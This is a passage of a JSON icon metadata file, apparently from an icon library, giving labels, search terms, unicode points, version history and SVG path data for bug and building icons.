    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bedbug", "infestation", "lice", "plague", "ticks"]
    },
    "styles": ["solid"],
    "unicode": "e4d0",
    "label": "Bugs",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M164.5 107.4l33.4-73.5c5.5-12.1 .1-26.3-11.9-31.8s-26.3-.1-31.8 11.9L128 71.7 101.9 14.1C96.4 2 82.1-3.3 70.1 2.1S52.7 21.9 58.1 33.9l33.4 73.5c-10.2 7.1-18.2 17-22.9 28.6h-17l-4.1-20.7c-2.6-13-15.2-21.4-28.2-18.8S-2.1 111.7 .5 124.7l8 40C10.7 175.9 20.6 184 32 184H64v23.3l-37.8 9.5c-9.5 2.4-16.6 10.2-17.9 19.9l-8 56c-1.9 13.1 7.2 25.3 20.4 27.2s25.3-7.2 27.2-20.4l5.7-40 18.4-4.6C82.7 274.6 103.8 288 128 288s45.3-13.4 56.1-33.2l18.4 4.6 5.7 40c1.9 13.1 14 22.2 27.2 20.4s22.2-14 20.4-27.2l-8-56c-1.4-9.7-8.5-17.5-17.9-19.9L192 207.3V184h32c11.4 0 21.3-8.1 23.5-19.3l8-40c2.6-13-5.8-25.6-18.8-28.2s-25.6 5.8-28.2 18.8L204.3 136h-17c-4.7-11.6-12.7-21.5-22.9-28.6zM496 286.5l65.6-47c10.8-7.7 13.3-22.7 5.6-33.5s-22.7-13.3-33.5-5.6l-51.4 36.8 6.1-62.9c1.3-13.2-8.4-24.9-21.6-26.2s-24.9 8.4-26.2 21.6L432.8 250c-12.3 1-24.2 5.6-34.1 13.3L384 254.8l6.8-20c4.2-12.6-2.5-26.2-15-30.4s-26.2 2.5-30.4 15l-13.1 38.6c-3.7 10.8 .8 22.8 10.7 28.5l27.7 16L359 322.7 321.5 312c-9.4-2.7-19.5 .6-25.5 8.3l-34.9 44.5c-8.2 10.4-6.4 25.5 4.1 33.7s25.5 6.4 33.7-4.1l25-31.8 18.2 5.2c-.5 22.6 11 44.7 32 56.8s45.9 11 65.2-.7l13.6 13.2-15.1 37.5c-4.9 12.3 1 26.3 13.3 31.2s26.3-1 31.2-13.3L503.5 440c3.6-9.1 1.4-19.4-5.6-26.2l-28-27.1 11.6-20.1 27.7 16c9.9 5.7 22.5 3.7 30-4.9L566.2 347c8.7-10 7.8-25.1-2.2-33.9s-25.1-7.8-33.9 2.2l-13.9 15.9-14.7-8.5c1.7-12.4-.2-25-5.5-36.2z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M164.5 107.4l33.4-73.5c5.5-12.1 .1-26.3-11.9-31.8s-26.3-.1-31.8 11.9L128 71.7 101.9 14.1C96.4 2 82.1-3.3 70.1 2.1S52.7 21.9 58.1 33.9l33.4 73.5c-10.2 7.1-18.2 17-22.9 28.6h-17l-4.1-20.7c-2.6-13-15.2-21.4-28.2-18.8S-2.1 111.7 .5 124.7l8 40C10.7 175.9 20.6 184 32 184H64v23.3l-37.8 9.5c-9.5 2.4-16.6 10.2-17.9 19.9l-8 56c-1.9 13.1 7.2 25.3 20.4 27.2s25.3-7.2 27.2-20.4l5.7-40 18.4-4.6C82.7 274.6 103.8 288 128 288s45.3-13.4 56.1-33.2l18.4 4.6 5.7 40c1.9 13.1 14 22.2 27.2 20.4s22.2-14 20.4-27.2l-8-56c-1.4-9.7-8.5-17.5-17.9-19.9L192 207.3V184h32c11.4 0 21.3-8.1 23.5-19.3l8-40c2.6-13-5.8-25.6-18.8-28.2s-25.6 5.8-28.2 18.8L204.3 136h-17c-4.7-11.6-12.7-21.5-22.9-28.6zM496 286.5l65.6-47c10.8-7.7 13.3-22.7 5.6-33.5s-22.7-13.3-33.5-5.6l-51.4 36.8 6.1-62.9c1.3-13.2-8.4-24.9-21.6-26.2s-24.9 8.4-26.2 21.6L432.8 250c-12.3 1-24.2 5.6-34.1 13.3L384 254.8l6.8-20c4.2-12.6-2.5-26.2-15-30.4s-26.2 2.5-30.4 15l-13.1 38.6c-3.7 10.8 .8 22.8 10.7 28.5l27.7 16L359 322.7 321.5 312c-9.4-2.7-19.5 .6-25.5 8.3l-34.9 44.5c-8.2 10.4-6.4 25.5 4.1 33.7s25.5 6.4 33.7-4.1l25-31.8 18.2 5.2c-.5 22.6 11 44.7 32 56.8s45.9 11 65.2-.7l13.6 13.2-15.1 37.5c-4.9 12.3 1 26.3 13.3 31.2s26.3-1 31.2-13.3L503.5 440c3.6-9.1 1.4-19.4-5.6-26.2l-28-27.1 11.6-20.1 27.7 16c9.9 5.7 22.5 3.7 30-4.9L566.2 347c8.7-10 7.8-25.1-2.2-33.9s-25.1-7.8-33.9 2.2l-13.9 15.9-14.7-8.5c1.7-12.4-.2-25-5.5-36.2z"
      }
    },
    "free": ["solid"]
  },
  "building": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3e2", "f0f7"],
        "secondary": ["10f1ad"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "apartment",
        "building",
        "business",
        "city",
        "company",
        "office",
        "office building",
        "urban",
        "work"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1ad",
    "label": "Building",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h96c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM80 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V112zM272 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h96c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM80 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V112zM272 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16z"
      },
      "regular": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 48c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16h80V400c0-26.5 21.5-48 48-48s48 21.5 48 48v64h80c8.8 0 16-7.2 16-16V64c0-8.8-7.2-16-16-16H64zM0 64C0 28.7 28.7 0 64 0H320c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zm88 40c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v48c0 8.8-7.2 16-16 16H104c-8.8 0-16-7.2-16-16V104zM232 88h48c8.8 0 16 7.2 16 16v48c0 8.8-7.2 16-16 16H232c-8.8 0-16-7.2-16-16V104c0-8.8 7.2-16 16-16zM88 232c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v48c0 8.8-7.2 16-16 16H104c-8.8 0-16-7.2-16-16V232zm144-16h48c8.8 0 16 7.2 16 16v48c0 8.8-7.2 16-16 16H232c-8.8 0-16-7.2-16-16V232c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 48c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16h80V400c0-26.5 21.5-48 48-48s48 21.5 48 48v64h80c8.8 0 16-7.2 16-16V64c0-8.8-7.2-16-16-16H64zM0 64C0 28.7 28.7 0 64 0H320c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zm88 40c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v48c0 8.8-7.2 16-16 16H104c-8.8 0-16-7.2-16-16V104zM232 88h48c8.8 0 16 7.2 16 16v48c0 8.8-7.2 16-16 16H232c-8.8 0-16-7.2-16-16V104c0-8.8 7.2-16 16-16zM88 232c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v48c0 8.8-7.2 16-16 16H104c-8.8 0-16-7.2-16-16V232zm144-16h48c8.8 0 16 7.2 16 16v48c0 8.8-7.2 16-16 16H232c-8.8 0-16-7.2-16-16V232c0-8.8 7.2-16 16-16z"
      }
    },
    "free": ["regular", "solid"]
  },
  "building-circle-arrow-right": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["building", "city", "distribution center", "office"]
    },
    "styles": ["solid"],
    "unicode": "e4d1",
    "label": "Building Circle Arrow Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 48C0 21.5 21.5 0 48 0H336c26.5 0 48 21.5 48 48V232.2c-39.1 32.3-64 81.1-64 135.8c0 49.5 20.4 94.2 53.3 126.2C364.5 505.1 351.1 512 336 512H240V432c0-26.5-21.5-48-48-48s-48 21.5-48 48v80H48c-26.5 0-48-21.5-48-48V48zM80 224c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H80zm80 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H176c-8.8 0-16 7.2-16 16zm112-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H272zM64 112v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16zM176 96c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H176zm80 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H272c-8.8 0-16 7.2-16 16zm96 256a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm140.7-67.3c-6.2 6.2-6.2 16.4 0 22.6L521.4 352H432c-8.8 0-16 7.2-16 16s7.2 16 16 16h89.4l-28.7 28.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l56-56c6.2-6.2 6.2-16.4 0-22.6l-56-56c-6.2-6.2-16.4-6.2-22.6 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 48C0 21.5 21.5 0 48 0H336c26.5 0 48 21.5 48 48V232.2c-39.1 32.3-64 81.1-64 135.8c0 49.5 20.4 94.2 53.3 126.2C364.5 505.1 351.1 512 336 512H240V432c0-26.5-21.5-48-48-48s-48 21.5-48 48v80H48c-26.5 0-48-21.5-48-48V48zM80 224c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H80zm80 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H176c-8.8 0-16 7.2-16 16zm112-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H272zM64 112v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16zM176 96c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H176zm80 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H272c-8.8 0-16 7.2-16 16zm96 256a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm140.7-67.3c-6.2 6.2-6.2 16.4 0 22.6L521.4 352H432c-8.8 0-16 7.2-16 16s7.2 16 16 16h89.4l-28.7 28.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l56-56c6.2-6.2 6.2-16.4 0-22.6l-56-56c-6.2-6.2-16.4-6.2-22.6 0z"
      }
    },
    "free": ["solid"]
  },
  "building-circle-check": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["building", "city", "not affected", "office", "ok", "okay"]
    },
    "styles": ["solid"],
    "unicode": "e4d2",
    "label": "Building Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h96c15.1 0 28.5-6.9 37.3-17.8C340.4 462.2 320 417.5 320 368c0-54.7 24.9-103.5 64-135.8V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM80 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V112zM272 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zM640 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L480 385.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h96c15.1 0 28.5-6.9 37.3-17.8C340.4 462.2 320 417.5 320 368c0-54.7 24.9-103.5 64-135.8V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM80 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V112zM272 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zM640 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L480 385.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z"
      }
    },
    "free": ["solid"]
  },
  "building-circle-exclamation": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["affected", "building", "city", "office"]
    },
    "styles": ["solid"],
    "unicode": "e4d3",
    "label": "Building Circle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h96c15.1 0 28.5-6.9 37.3-17.8C340.4 462.2 320 417.5 320 368c0-54.7 24.9-103.5 64-135.8V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM80 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V112zM272 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h96c15.1 0 28.5-6.9 37.3-17.8C340.4 462.2 320 417.5 320 368c0-54.7 24.9-103.5 64-135.8V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM80 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V112zM272 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "building-circle-xmark": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["building", "city", "destroy", "office"]
    },
    "styles": ["solid"],
    "unicode": "e4d4",
    "label": "Building Circle Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h96c15.1 0 28.5-6.9 37.3-17.8C340.4 462.2 320 417.5 320 368c0-54.7 24.9-103.5 64-135.8V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM80 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V112zM272 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7L518.6 368l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L496 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L473.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L496 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h96c15.1 0 28.5-6.9 37.3-17.8C340.4 462.2 320 417.5 320 368c0-54.7 24.9-103.5 64-135.8V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM80 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V112zM272 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7L518.6 368l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L496 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L473.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L496 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z"
      }
    },
    "free": ["solid"]
  },
  "building-columns": {
    "aliases": {
      "names": ["bank", "institution", "museum", "university"],
      "unicodes": {
        "secondary": ["10f19c"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.0.3",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bank",
        "building",
        "college",
        "education",
        "institution",
        "museum",
        "students"
      ]
    },
    "styles": ["solid"],
    "unicode": "f19c",
    "label": "Building Columns",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M243.4 2.6l-224 96c-14 6-21.8 21-18.7 35.8S16.8 160 32 160v8c0 13.3 10.7 24 24 24H456c13.3 0 24-10.7 24-24v-8c15.2 0 28.3-10.7 31.3-25.6s-4.8-29.9-18.7-35.8l-224-96c-8-3.4-17.2-3.4-25.2 0zM128 224H64V420.3c-.6 .3-1.2 .7-1.8 1.1l-48 32c-11.7 7.8-17 22.4-12.9 35.9S17.9 512 32 512H480c14.1 0 26.5-9.2 30.6-22.7s-1.1-28.1-12.9-35.9l-48-32c-.6-.4-1.2-.7-1.8-1.1V224H384V416H344V224H280V416H232V224H168V416H128V224zM256 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M243.4 2.6l-224 96c-14 6-21.8 21-18.7 35.8S16.8 160 32 160v8c0 13.3 10.7 24 24 24H456c13.3 0 24-10.7 24-24v-8c15.2 0 28.3-10.7 31.3-25.6s-4.8-29.9-18.7-35.8l-224-96c-8-3.4-17.2-3.4-25.2 0zM128 224H64V420.3c-.6 .3-1.2 .7-1.8 1.1l-48 32c-11.7 7.8-17 22.4-12.9 35.9S17.9 512 32 512H480c14.1 0 26.5-9.2 30.6-22.7s-1.1-28.1-12.9-35.9l-48-32c-.6-.4-1.2-.7-1.8-1.1V224H384V416H344V224H280V416H232V224H168V416H128V224zM256 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "building-flag": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        " city",
        "building",
        "diplomat",
        "embassy",
        "flag",
        "headquarters",
        "united nations"
      ]
    },
    "styles": ["solid"],
    "unicode": "e4d5",
    "label": "Building Flag",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h96c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM80 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V112zM272 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zM448 0c-17.7 0-32 14.3-32 32V512h64V192H624c8.8 0 16-7.2 16-16V48c0-8.8-7.2-16-16-16H480c0-17.7-14.3-32-32-32z\"/></svg>",
